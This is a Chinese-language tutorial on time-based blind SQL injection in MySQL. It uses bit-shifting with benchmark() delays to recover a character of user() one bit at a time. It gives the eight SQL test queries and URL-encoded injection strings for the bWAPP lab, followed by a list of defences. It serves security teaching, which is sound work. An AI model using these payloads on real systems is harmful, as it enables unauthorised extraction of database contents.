MySQL基于时间的SQL盲注技术：使用位运算符的高效攻击方法

概述

本文详细讲解如何利用MySQL的位运算符（特别是右移运算符>>）进行高效的基于时间的SQL盲注攻击。这种方法可以显著减少数据检索次数，提高注入效率。

基本原理

位运算符简介

MySQL提供了多种位运算符，其中右移运算符(>>)是本技术的核心。右移运算符将一个二进制数按指定位数向右移动：

mysql> select ascii(b'01110010');
+--------------------+
| ascii(b'01110010') |
+--------------------+
|                114 |
+--------------------+

mysql> select ascii(b'01110010') >> 1;
+-------------------------+
| ascii(b'01110010') >> 1 |
+-------------------------+
|                      57 |
+-------------------------+

基于时间的盲注

基于时间的盲注通过观察数据库响应时间来判断条件是否为真。常用方法是使用benchmark()或sleep()函数：

IF(条件, benchmark(大量计算), 'false')

如果条件为真，则执行耗时操作，产生明显延迟；否则立即返回。

攻击步骤详解

1. 确定字符的二进制表示

每个ASCII字符由8位二进制组成。我们可以通过右移运算逐位确定每个位的值。

2. 逐位枚举过程

以获取user()函数返回值的第一个字符为例：

第一位判断

select if((ascii((substr(user(),1,1))) >> 7)=0,benchmark(10000000,sha1('test')),'false')

• 延迟2.35秒 → 第一位为0
• 无延迟 → 第一位为1

第二位判断

select if((ascii((substr(user(),1,1))) >> 6)=0,benchmark(10000000,sha1('test')),'false')

• 无延迟 → 第二位为1

第三位判断

select if((ascii((substr(user(),1,1))) >> 5)=2,benchmark(10000000,sha1('test')),'false')

• 无延迟 → 第三位为1

第四位判断

select if((ascii((substr(user(),1,1))) >> 4)=6,benchmark(10000000,sha1('test')),'false')

• 无延迟 → 第四位为1

第五位判断

select if((ascii((substr(user(),1,1))) >> 3)=14,benchmark(10000000,sha1('test')),'false')

• 延迟2.46秒 → 第五位为0

第六位判断

select if((ascii((substr(user(),1,1))) >> 2)=28,benchmark(10000000,sha1('test')),'false')

• 延迟2.44秒 → 第六位为0

第七位判断

select if((ascii((substr(user(),1,1))) >> 1)=56,benchmark(10000000,sha1('test')),'false')

• 无延迟 → 第七位为1

第八位判断

select if((ascii((substr(user(),1,1))) >> 0)=114,benchmark(10000000,sha1('test')),'false')

• 延迟2.33秒 → 第八位为0

3. 二进制结果解析

通过上述步骤，我们得到二进制序列：01110010

转换为十进制：

0*(2^7) + 1*(2^6) + 1*(2^5) + 1*(2^4) + 0*(2^3) + 0*(2^2) + 1*(2^1) + 0*(2^0) 
= 0 + 64 + 32 + 16 + 0 + 0 + 2 + 0 
= 114

ASCII码114对应字符'r'。

实际应用示例

在bWAPP漏洞环境中，可以构造如下注入：

1. 测试第一位：

test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=0,benchmark(5000000,md5('test')),+'false')%23

2. 测试第八位：

test%27+and+if+((ascii((substr(user(),1,1)))+>>+0+)=114,benchmark(5000000,md5('test')),+'false')%23

优势分析

1. 高效性：每个字符最多只需8次查询即可确定
2. 准确性：基于时间延迟的判断相对可靠
3. 适应性：适用于各种有输出限制的SQL注入场景

防御措施

1. 使用参数化查询或预处理语句
2. 实施严格的输入验证
3. 限制数据库用户权限
4. 监控异常数据库查询模式
5. 使用Web应用防火墙(WAF)

总结

这种基于位运算的SQL盲注技术提供了一种高效的数据提取方法，特别适用于存在各种限制条件的注入场景。了解这种技术有助于安全人员更好地评估系统安全性并制定相应的防御策略。